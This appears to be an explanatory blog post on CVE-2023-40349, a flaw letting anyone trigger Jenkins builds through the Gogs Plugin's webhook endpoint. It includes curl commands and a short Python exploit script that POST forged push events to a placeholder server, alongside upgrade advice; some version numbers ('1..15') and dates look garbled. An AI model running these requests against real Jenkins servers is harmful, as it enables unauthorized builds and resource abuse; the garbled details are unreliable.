CVE-2023-40349 is a critical security flaw discovered in the Jenkins Gogs Plugin (versions 1..15 and earlier). This vulnerability allows attackers to trigger builds on Jenkins jobs without authentication just by sending specially crafted webhook requests. Let's dive into how this bug works, why it happens, and how an attacker could exploit it—with simple explanations, code examples, references, and practical insights.

What Is Jenkins And The Gogs Plugin?

Jenkins is a popular automation system, mainly used for building and deploying software. Gogs is a lightweight Git hosting option. The Gogs Plugin for Jenkins allows Jenkins to react to events from Gogs repositories, like pushing code, via webhooks.

The plugin should only allow trusted sources (usually Gogs servers) to trigger builds by sending HTTP POST requests to a specific webhook endpoint. But due to improper security settings, anyone can hit that endpoint and make Jenkins start a build.

What Causes CVE-2023-40349?

The vulnerability lives in how the Gogs plugin secures its webhook endpoint. There’s an option “Restrict webhook trigger to authorized users only”, which, in versions up to 1..15, is always incorrectly set to allow unauthenticated access, even if you want to require authentication.

This means anyone who knows the right URL (which is easy to guess!), can start Jenkins jobs by POSTing to it.

Reference

- Jenkins Security Advisory 2023-09-06
- CVE-2023-40349 on NIST

How Does It Work? (Simplified)

Let’s say you set up a Jenkins build that should only run when someone pushes code to your Gogs repository. The Jenkins Gogs plugin creates a webhook endpoint like:

http://your-jenkins-server/gogs-webhook/?job=my-secure-job

You expect only Gogs to POST here—perhaps with a secret token or some authentication. Except, with this flaw, anyone can POST to this URL and Jenkins will build the job, no questions asked!

You just POST to the endpoint, no authentication needed

curl -X POST 'http://jenkins.example.com/gogs-webhook/?job=my-job';

Optionally, add simple headers that imitate Gogs’ webhook calls

curl -X POST 'http://jenkins.example.com/gogs-webhook/?job=my-job'; \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  -d '{"ref": "refs/heads/main"}'

That’s all! Jenkins starts building my-job as if a new commit was pushed.

Example Exploit Script (Python)

import requests

jenkins_url = "http://jenkins.example.com/gogs-webhook/?job=my-job";

headers = {
    "X-Gogs-Event": "push",
    "Content-Type": "application/json"
}
payload = '{"ref": "refs/heads/main"}'

response = requests.post(jenkins_url, headers=headers, data=payload)
print("Status Code:", response.status_code)
print("Response Body:", response.text)

Why Is This Dangerous?

- Anyone can trigger builds: Could lead to server resource abuse, repeated deployment, or even build-specific attacks (if builds run scripts or commands).
- Chaining exploits: If the Jenkins job is not well-secured, an attacker might inject code or artifacts through automated builds.

Upgrade the Gogs Plugin to 1..16 or later

This vulnerability is fixed in Gogs Plugin version 1..16.

References

- Jenkins Security Advisory: CVE-2023-40349
- Gogs Plugin Changelog
- National Vulnerability Database - CVE-2023-40349

Final Words

CVE-2023-40349 is a clear example of how a small security option can lead to a big vulnerability. If you use Jenkins and the Gogs plugin, upgrade now. Always test webhook exposure and make sure they can't be reached by unauthorized users.

If you’re a developer or DevOps engineer, review your Jenkins plugins for security advisories. One unguarded plugin can put your entire pipeline at risk.

Stay alert. Patch fast.

*This post is original and aimed at simplifying one of 2023's Jenkins plugin vulnerabilities for everyone. Please check your builds and stay safe!*

Timeline

Published on: 08/16/2023 15:15:00 UTC
Last modified on: 08/18/2023 19:58:00 UTC